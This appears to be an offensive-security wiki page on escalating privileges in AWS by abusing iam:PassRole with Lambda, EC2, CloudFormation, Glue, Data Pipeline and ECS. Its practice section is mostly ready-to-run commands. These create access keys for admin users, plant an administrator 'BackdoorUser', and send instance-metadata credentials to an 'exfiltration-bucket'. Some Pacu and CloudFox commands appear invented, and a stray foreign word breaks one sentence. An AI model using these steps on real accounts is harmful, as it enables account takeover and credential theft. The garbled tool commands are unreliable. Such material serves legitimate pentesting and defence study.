# PassRole & Service Principals

## Theory

The `iam:PassRole` permission is a critical and often misunderstood control in AWS. Unlike standard IAM permissions that let you perform actions directly, `PassRole` allows you to delegate permissions to an AWS service. It enables you to attach an IAM role to a service (e.g., EC2, Lambda), which then assumes that role and inherits all its permissions, making it a potential privilege escalation vector.

When launching services like EC2, Lambda, or ECS, you can specify a role (instance profile or execution role) that grants access to other AWS resources. For example, an EC2 instance with an S3-access role allows applications on that instance to interact with S3. To do this, you need both:

* Permission to create the service (e.g., `ec2:RunInstances`, `lambda:CreateFunction`)
* Permission to pass the role (`iam:PassRole`)

`PassRole` exists to prevent privilege escalation. Without it, a user with service creation permissions could attach a highly privileged role (e.g., admin), gain access via the service, and take over the account. However, if `PassRole` itself is too broadly granted, it becomes the escalation path.

Scope matters:

* **Dangerous**: `iam:PassRole` with `Resource: "*"` → can pass any role to any service
* **Safer**: Restrict to specific role ARNs
* **Safer +**: Add conditions like `iam:PassedToService` to limit which services can receive the role (e.g., only Lambda)

In short, `iam:PassRole` is a guardrail but misconfigured, it becomes the vulnerability.

### Service Principals

[Service principals](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_principal.html#principal-services) are identifiers that represent AWS services in IAM trust policies. When an IAM role is created, its **trust policy** defines which principals can assume it. For service roles, this means specifying an AWS service (e.g., `lambda.amazonaws.com`, `ec2.amazonaws.com`) instead of a user or another role.

A typical service trust policy looks like this:

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Service": "lambda.amazonaws.com"
    },
    "Action": "sts:AssumeRole"
  }]
}
```

This allows the Lambda service to assume the role. When a Lambda function is created with this role, AWS automatically assumes it and uses its permissions during execution. The function can then perform any գործող actions allowed by the role (e.g., accessing DynamoDB or writing logs).

Each AWS service has its own service principal. Common examples include:

* `ec2.amazonaws.com` → EC2 instances
* `lambda.amazonaws.com` → Lambda functions
* `ecs-tasks.amazonaws.com` → ECS tasks
* `cloudformation.amazonaws.com` → CloudFormation
* `glue.amazonaws.com` → Glue jobs
* `codebuild.amazonaws.com` → CodeBuild

From an offensive perspective, service principals define **where a role can be used**. If a role trusts `lambda.amazonaws.com`, it can be passed to Lambda; if it trusts `ec2.amazonaws.com`, it can be attached to EC2. By enumerating roles and their trust policies, you can map which services are viable for exploitation when you have `iam:PassRole`, and identify privilege escalation paths accordingly.

### Instance Metadata Service and Service Credentials

When an AWS service assumes a role, it receives temporary credentials similar to those issued via `sts:AssumeRole`. The key difference is **how those credentials are exposed**—each service provides them through its own mechanism rather than returning them directly via an API.

For **EC2**, credentials are delivered through the *Instance Metadata Service (IMDS)* at `169.254.169.254`. When an instance is launched with a role, AWS automatically generates temporary credentials and exposes them at:

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
```

These include:

* `AccessKeyId` (starts with `ASIA`)
* `SecretAccessKey`
* `SessionToken`
* `Expiration`

They are automatically rotated, ensuring continuous access while the instance is running.

For **Lambda**, credentials are injected directly into the runtime via environment variables:

* `AWS_ACCESS_KEY_ID`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_SESSION_TOKEN`

The AWS SDK automatically uses these, so any API call made from the function implicitly uses the function’s execution role.

For **ECS tasks**, credentials are exposed via a task-specific metadata endpoint. The URL is provided in:

```
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
```

Querying this endpoint returns the same type of temporary credentials, usable directly with the AWS SDK. Understanding these delivery paths is key to leveraging `iam:PassRole`: once a role is attached to a service, retrieving its credentials allows you to operate with that role’s permissions.

## Practice

### Reconnaissance

The first step in exploiting PassRole is identifying which roles exist in the account and which services they trust. Roles with service principal trust policies are your targets for PassRole privilege escalation.

{% tabs %}
{% tab title="AWS CLI" %}
Enumerating roles and their trust policies requires listing all roles and retrieving each role's trust policy document to analyze which services can assume it.

```bash
# List all IAM roles
aws iam list-roles

# Get detailed information about a specific role including trust policy
aws iam get-role --role-name TargetRole

# Extract just the trust policy
aws iam get-role --role-name TargetRole --query 'Role.AssumeRolePolicyDocument'

# Enumerate all roles and their trust policies (requires jq)
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' --output json | jq -r '.[] | "\(.[0]): \(.[1].Statement[0].Principal.Service // "No service principal")"'

# Find roles that trust Lambda service
aws iam list-roles --output json | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service? | contains("lambda.amazonaws.com")) | .RoleName'

# Find roles that trust EC2 service
aws iam list-roles --output json | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service? | contains("ec2.amazonaws.com")) | .RoleName'

# Find roles that trust any service (not users or roles)
aws iam list-roles --output json | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Service) | .RoleName'
```

Look for roles with service principal trust policies for services you can interact with, especially Lambda, EC2, ECS, CloudFormation, Glue, and Data Pipeline.&#x20;

For each promising role, check what permissions it has by listing its attached policies and inline policies to determine if escalating to that role would be valuable.
{% endtab %}

{% tab title="Pacu" %}
[Pacu's](https://github.com/rhinosecuritylabs/pacu) IAM enumeration module automatically identifies all roles, their trust policies, and the services they trust, making it easy to find PassRole escalation targets.

```bash
run iam__enum_roles

# This will enumerate:
# - All IAM roles in the account
# - Trust policies for each role
# - Permissions policies for each role
# - Services that can assume each role
# - Roles with overly permissive trusts
```

{% endtab %}

{% tab title="CloudFox" %}
CloudFox specializes in analyzing role trust relationships and visualizing which services can assume which roles.

```bash
# Enumerate all role trust relationships
cloudfox aws -p default role-trusts

# Filter for roles that trust specific services
cloudfox aws -p default role-trusts --filter-type service

# Generate a visual graph of role trusts
cloudfox aws -p default role-trusts --output-format graph

# Find roles with administrator permissions that trust services
cloudfox aws -p default permissions --principal-type role --admin-only
```

CloudFox can generate visual graphs showing the relationships between roles and the services that can assume them, making it easy to identify complex privilege escalation chains. It also highlights roles with administrative permissions, helping you prioritize which roles to target for maximum impact.
{% endtab %}
{% endtabs %}

### Identifying PassRole Permissions

Once you've identified target roles with service trust policies, you need to determine whether you have the `iam:PassRole` permission required to pass those roles to services.

{% tabs %}
{% tab title="AWS CLI" %}
Checking for PassRole permissions requires enumerating all policies attached to your current identity and searching for PassRole statements.

```bash
# List all policies attached to your user
aws iam list-attached-user-policies --user-name your-user

# List all groups you belong to
aws iam list-groups-for-user --user-name your-user

# For each group, list attached policies
aws iam list-attached-group-policies --group-name group-name

# Get specific policy documents and check for PassRole
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/policy-name --version-id v1

# Search for PassRole in policy documents (manual review required)
# Look for statements with "Action": "iam:PassRole" or "Action": "*"
# Check the Resource field to see which roles you can pass
# Check for iam:PassedToService conditions that restrict which services
```

PassRole permissions can be granted in several ways:&#x20;

* `iam:PassRole` with `Resource: "*"` allows passing any role,&#x20;
* `iam:PassRole` with specific role ARNs limits which roles you can pass,&#x20;
* and conditions using `iam:PassedToService` restrict which services can receive roles.

Understanding the scope of your PassRole permission is crucial for identifying valid escalation paths.
{% endtab %}

{% tab title="Pacu" %}
[Pacu's](https://github.com/rhinosecuritylabs/pacu) privilege escalation scanner automatically detects PassRole permissions and identifies which roles you can pass to which services.

```bash
run iam__privesc_scan

# The scan will identify:
# - Whether you have iam:PassRole permission
# - Which roles you can pass (based on Resource constraints)
# - Which services you can pass roles to (based on conditions)
# - Which other service permissions you have (ec2:RunInstances, lambda:CreateFunction, etc.)
# - Complete privilege escalation paths combining PassRole with service permissions
```

{% endtab %}

{% tab title="enumerate-iam" %}
The [enumerate-iam](https://github.com/andresriancho/enumerate-iam) tool can brute-force your PassRole permissions by attempting to pass various roles to different services and observing which attempts succeed.

```bash
# Bruteforce all IAM permissions including PassRole
enumerate-iam --access-key AKIA... --secret-key ...

# The tool will attempt various PassRole operations
# Success indicates you have PassRole permission
# The specific roles and services that succeed reveal your scope
```

{% hint style="danger" %}
This approach is valuable when you don't have permission to read IAM policies (`iam:GetPolicy`) but want to discover whether you can pass roles. However, be aware that brute-forcing PassRole can generate significant CloudTrail logs and may trigger security alerts.
{% endhint %}
{% endtab %}
{% endtabs %}

{% hint style="info" %}
The below sections will cover common PassRole attack vectors for different instances.\
However, for detailed service-specific exploitation techniques, see the dedicated service pages.
{% endhint %}

### PassRole to Lambda - Code Execution

Lambda functions provide the most direct and powerful privilege escalation path when combined with PassRole. You can create a Lambda function with arbitrary code, pass a privileged role to the function, and then invoke the function to execute your code with the role's permissions.

{% tabs %}
{% tab title="AWS CLI" %}
The privilege escalation involves creating a Lambda function, passing a privileged role as the execution role, and then invoking the function with code that leverages the role's permissions.

```bash
# First, create a simple Lambda function that lists IAM users (requires admin permissions)
# Create a deployment package
cat > lambda_function.py << 'EOF'
import boto3
import json

def lambda_handler(event, context):
    iam = boto3.client('iam')
    users = iam.list_users()
    return {
        'statusCode': 200,
        'body': json.dumps(users, default=str)
    }
EOF

zip function.zip lambda_function.py

# Create the Lambda function and pass the privileged role
aws lambda create-function \
  --function-name privilege-escalation \
  --runtime python3.9 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Invoke the function to execute your code with the role's permissions
aws lambda invoke --function-name privilege-escalation output.txt

# View the output
cat output.txt
```

This basic example lists IAM users, but you can modify the function code to perform any action allowed by the role's permissions. For maximum flexibility, create a function that accepts commands through the event parameter and executes them dynamically. You could exfiltrate data from S3, create access keys for users, modify security groups, or perform any other privileged operation.

An other example below, where we create a new access key for an administrator user and returns the credentials

```bash
# Example: Create access key for privilege escalation
cat > lambda_function.py << 'EOF'
import boto3
import json

def lambda_handler(event, context):
    iam = boto3.client('iam')

    # Create access key for admin user
    response = iam.create_access_key(UserName='admin-user')

    return {
        'statusCode': 200,
        'body': json.dumps({
            'AccessKeyId': response['AccessKey']['AccessKeyId'],
            'SecretAccessKey': response['AccessKey']['SecretAccessKey']
        })
    }
EOF

zip function.zip lambda_function.py

aws lambda create-function \
  --function-name create-admin-key \
  --runtime python3.9 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

aws lambda invoke --function-name create-admin-key output.txt
cat output.txt
```

{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) can automate Lambda-based privilege escalation through PassRole, creating functions and executing code to leverage the passed role's permissions.

```bash
# Use Pacu's Lambda privilege escalation module
run lambda__backdoor_new_roles

# Or manually create a Lambda function with Pacu
set lambda/function_name privilege-escalation
set lambda/role_arn arn:aws:iam::123456789012:role/AdminRole
set lambda/runtime python3.9
run lambda__create_function

# Invoke the function
run lambda__invoke --function-name privilege-escalation
```

Pacu can also automatically identify which roles you can pass to Lambda and suggest the most effective escalation targets based on the roles' permissions.
{% endtab %}
{% endtabs %}

### PassRole to EC2 - Instance Metadata Access

EC2 instances provide a slightly slower but still effective privilege escalation path. You launch an instance with a privileged role attached via an instance profile, then access the instance to retrieve the role's temporary credentials from the Instance Metadata Service.

{% tabs %}
{% tab title="AWS CLI" %}
The escalation involves creating an instance profile, adding the privileged role to the profile, launching an EC2 instance with the profile, and then accessing the instance to retrieve credentials.

```bash
# Create an instance profile (container for roles for EC2)
aws iam create-instance-profile --instance-profile-name privilege-escalation-profile

# Add the privileged role to the instance profile
aws iam add-role-to-instance-profile \
  --instance-profile-name privilege-escalation-profile \
  --role-name AdminRole

# Launch an EC2 instance with the instance profile
# You'll need to specify an AMI ID, instance type, and optionally a key pair for SSH
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t2.micro \
  --iam-instance-profile Name=privilege-escalation-profile \
  --user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole > /tmp/credentials.txt
aws s3 cp /tmp/credentials.txt s3://exfiltration-bucket/credentials.txt'

# Alternatively, if you have SSH access via a key pair:
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t2.micro \
  --key-name your-key-pair \
  --iam-instance-profile Name=privilege-escalation-profile

# Wait for instance to launch, then SSH in
ssh -i your-key.pem ec2-user@instance-public-ip

# From inside the instance, retrieve the role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# Use the credentials with AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Now you can execute commands with the role's permissions
aws iam list-users
```

This method is more complex than Lambda because it requires waiting for the instance to launch, potentially configuring networking and security groups for SSH access, and manually retrieving credentials. However, it's useful when Lambda is not available or when you want to maintain persistent access to the credentials (the instance keeps receiving refreshed credentials from IMDS as long as it runs).

For faster access without SSH, use user data scripts to exfiltrate the credentials automatically when the instance boots. The user data script can retrieve credentials from IMDS and send them to an S3 bucket, an external server, or execute actions directly using the credentials.
{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) can automate EC2-based privilege escalation, handling instance profile creation, instance launch, and credential retrieval.

```bash
# Use Pacu's EC2 privilege escalation module
run ec2__privesc_scan

# If PassRole to EC2 is identified, Pacu will provide instructions
# Or manually launch an instance with a privileged role
set ec2/instance_profile privilege-escalation-profile
set ec2/role_arn arn:aws:iam::123456789012:role/AdminRole
run ec2__create_instance_with_role
```

Pacu can also automatically retrieve credentials from instances you launch or from existing instances if you have access to them.
{% endtab %}
{% endtabs %}

### PassRole to CloudFormation - Stack Execution

CloudFormation provides a unique privilege escalation vector because CloudFormation stacks can create, modify, and delete arbitrary AWS resources. By passing a privileged role to a CloudFormation stack, you can create resources that wouldn't normally be allowed by your permissions.

{% tabs %}
{% tab title="AWS CLI" %}
CloudFormation stacks execute with the permissions of the passed role, not your own permissions. This means even if you don't have `iam:CreateUser` or `iam:AttachUserPolicy`, the CloudFormation stack can create users and attach policies because the role you passed has those permissions.&#x20;

The stack essentially acts as a privileged automation tool that executes whatever resource definitions you provide in the template.

```bash
# Create a CloudFormation template that creates an IAM user with admin access
cat > template.yaml << 'EOF'
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  BackdoorUser:
    Type: AWS::IAM::User
    Properties:
      UserName: cloudformation-backdoor
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/AdministratorAccess
  BackdoorAccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref BackdoorUser
Outputs:
  AccessKeyId:
    Value: !Ref BackdoorAccessKey
  SecretAccessKey:
    Value: !GetAtt BackdoorAccessKey.SecretAccessKey
EOF

# Create a CloudFormation stack with the privileged role
aws cloudformation create-stack \
  --stack-name privilege-escalation \
  --template-body file://template.yaml \
  --role-arn arn:aws:iam::123456789012:role/AdminRole \
  --capabilities CAPABILITY_IAM

# Wait for the stack to complete
aws cloudformation wait stack-create-complete --stack-name privilege-escalation

# Retrieve the outputs (access key credentials)
aws cloudformation describe-stacks --stack-name privilege-escalation --query 'Stacks[0].Outputs'
```

{% endtab %}
{% endtabs %}

### PassRole to Glue - Job Execution

AWS Glue jobs can execute arbitrary Python or Scala code with permissions from a passed role. While less commonly known than Lambda or EC2, Glue provides another code execution path for privilege escalation.

{% tabs %}
{% tab title="AWS CLI" %}
Glue jobs run in a managed environment and can access AWS services using the role you pass. The output appears in CloudWatch Logs, so you can exfiltrate data or credentials through log messages, or have the script directly perform actions like creating access keys or modifying resources.

```bash
# Create a simple Glue job script that lists IAM users
cat > glue_script.py << 'EOF'
import boto3
import sys
from awsglue.utils import getResolvedOptions

iam = boto3.client('iam')
users = iam.list_users()

print("IAM Users:", users)

# Create access key for privilege escalation
response = iam.create_access_key(UserName='admin-user')
print("AccessKeyId:", response['AccessKey']['AccessKeyId'])
print("SecretAccessKey:", response['AccessKey']['SecretAccessKey'])
EOF

# Upload the script to S3
aws s3 cp glue_script.py s3://your-bucket/glue_script.py

# Create a Glue job with the privileged role
aws glue create-job \
  --name privilege-escalation \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --command "Name=glueetl,ScriptLocation=s3://your-bucket/glue_script.py,PythonVersion=3" \
  --glue-version "3.0"

# Start the job run
aws glue start-job-run --job-name privilege-escalation

# Get the job run status and logs
aws glue get-job-run --job-name privilege-escalation --run-id jr_...
# Check CloudWatch Logs for the output
```

{% endtab %}
{% endtabs %}

### PassRole to Data Pipeline - Custom Activities

AWS Data Pipeline can execute arbitrary shell commands through custom activities, providing another code execution path when you can pass roles to the datapipeline service.

{% tabs %}
{% tab title="AWS CLI" %}
Data Pipeline is less commonly used than Lambda or EC2, which may make it less monitored for suspicious activity. However, it requires more setup and S3 buckets for storing outputs, making it slightly more complex than direct Lambda execution.

```bash
# Create a Data Pipeline definition with a custom shell activity
cat > pipeline_definition.json << 'EOF'
{
  "objects": [
    {
      "id": "Default",
      "scheduleType": "ONDEMAND",
      "name": "Default"
    },
    {
      "id": "PrivilegeEscalation",
      "type": "ShellCommandActivity",
      "name": "PrivilegeEscalation",
      "command": "aws iam create-access-key --user-name admin-user > /tmp/credentials.txt && aws s3 cp /tmp/credentials.txt s3://exfiltration-bucket/"
    }
  ]
}
EOF

# Create the pipeline with the privileged role
aws datapipeline create-pipeline --name privilege-escalation --unique-id priv-esc-001

# Put the pipeline definition
aws datapipeline put-pipeline-definition \
  --pipeline-id df-... \
  --pipeline-definition file://pipeline_definition.json \
  --parameter-values myRoleArn=arn:aws:iam::123456789012:role/AdminRole

# Activate the pipeline
aws datapipeline activate-pipeline --pipeline-id df-...

# The shell command will execute with the role's permissions
```

{% endtab %}
{% endtabs %}

### PassRole to ECS - Container Execution

ECS tasks can run containers with arbitrary code, using permissions from a passed task execution role. This provides a containerized environment for privilege escalation.

{% tabs %}
{% tab title="AWS CLI" %}
ECS tasks provide a containerized environment where you can run any Docker image with commands that leverage the passed role's permissions. The task role grants permissions to the container, while the execution role grants permissions to the ECS service itself to pull images and write logs.

```bash
# Create a task definition with a privileged role
cat > task_definition.json << 'EOF'
{
  "family": "privilege-escalation",
  "taskRoleArn": "arn:aws:iam::123456789012:role/AdminRole",
  "executionRoleArn": "arn:aws:iam::123456789012:role/ecsTaskExecutionRole",
  "networkMode": "awsvpc",
  "containerDefinitions": [
    {
      "name": "privilege-container",
      "image": "amazon/aws-cli:latest",
      "command": [
        "sh", "-c",
        "aws iam create-access-key --user-name admin-user && sleep 3600"
      ],
      "essential": true
    }
  ],
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "256",
  "memory": "512"
}
EOF

# Register the task definition
aws ecs register-task-definition --cli-input-json file://task_definition.json

# Run the task in a Fargate cluster
aws ecs run-task \
  --cluster default \
  --task-definition privilege-escalation \
  --launch-type FARGATE \
  --network-configuration "awsvpcConfiguration={subnets=[subnet-12345],securityGroups=[sg-12345],assignPublicIp=ENABLED}"

# Check the task logs in CloudWatch
aws logs tail /ecs/privilege-escalation --follow
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/>" %}

{% embed url="<https://rodelllemit.medium.com/aws-pentesting-abusing-ec2-runinstances-iam-passrole-permissions-f0408ef2dfe6>" %}
